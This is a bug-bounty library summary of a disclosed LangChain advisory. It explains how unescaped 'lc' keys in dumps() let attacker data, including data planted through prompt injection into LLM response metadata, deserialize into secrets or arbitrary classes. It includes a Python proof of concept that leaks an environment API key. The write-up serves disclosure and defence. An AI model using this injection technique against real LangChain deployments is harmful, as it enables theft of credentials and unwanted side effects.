# LangChain serialization injection vulnerability enables secret extraction in dumps/loads APIs

LangChain dumps() failed to escape user dicts containing 'lc' keys, so deserialization treated injected data as LangChain objects, leaking env secrets.

- Payout: Research
- Severity: critical
- Program: LangChain
- Found by: 0xn3va, yardenporat353, VladimirEliTokarev
- Disclosed: 2025-12-23
- CVE: CVE-2025-68664
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-c67j-w6g6-q2cm
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-c67j-w6g6-q2cm
- Tags: area:ai domain:ai impact:data-leak impact:rce kind:research platform:ghsa sev:critical tech:llm tech:python technique:source-review vuln:deserialization vuln:secrets-leak

**Target:** langchain-core serialization API (dumps/dumpd/load/loads)
**Root cause:** dumps()/dumpd() did not escape free-form dictionaries containing the reserved 'lc' key, so attacker-controlled data was deserialized as legitimate LangChain serialized objects.
**Steps:**
1. Craft attacker dict with nested `{"lc": 1, "type": "secret", "id": ["OPENAI_API_KEY"]}` under a user-controlled field.
2. Serialize with `dumps(attacker_dict)` — the 'lc' key is not escaped.
3. Set `os.environ["OPENAI_API_KEY"]` and call `load(serialized, secrets_from_env=True)`.
4. Observe `deserialized["user_data"]` returns the secret value.
**How found:** Reporters noticed dumps()/dumpd() did not escape dicts with reserved 'lc' keys, hypothesizing that user-controlled data would be reinterpreted as LangChain manifests on load.
**Exploitation:** Attacker controls a field like additional_kwargs/response_metadata (e.g. via prompt injection into LLM responses) that gets serialized then deserialized in streaming paths (astream_events v1, astream_log, message history). Injected 'lc' secret structures resolve env vars when secrets_from_env=True (old default); injected constructor structures instantiate any Serializable class in trusted namespaces (langchain_core/langchain/langchain_community) with attacker params, triggering side effects like network or file operations.
**Escalation:** Chains prompt injection into LLM response metadata with the serialization round-trip to reach secret extraction or class instantiation side effects.
**Insight:** When a serializer uses a reserved marker key to tag objects, test whether free-form user dicts containing that key are escaped; any round-trip through dumps/loads becomes an injection sink, especially where LLM output flows into metadata fields.

## Proof of concept (copied exactly from the original report)

**Python PoC leaking env secret via lc injection**

```
from langchain_core.load import dumps, load
import os

# Attacker injects secret structure into user-controlled data
attacker_dict = {
    "user_data": {
        "lc": 1,
        "type": "secret",
        "id": ["OPENAI_API_KEY"]
    }
}

serialized = dumps(attacker_dict)  # Bug: does NOT escape the 'lc' key

os.environ["OPENAI_API_KEY"] = "sk-secret-key-12345"
deserialized = load(serialized, secrets_from_env=True)

print(deserialized["user_data"])  # "sk-secret-key-12345" - SECRET LEAKED!
```

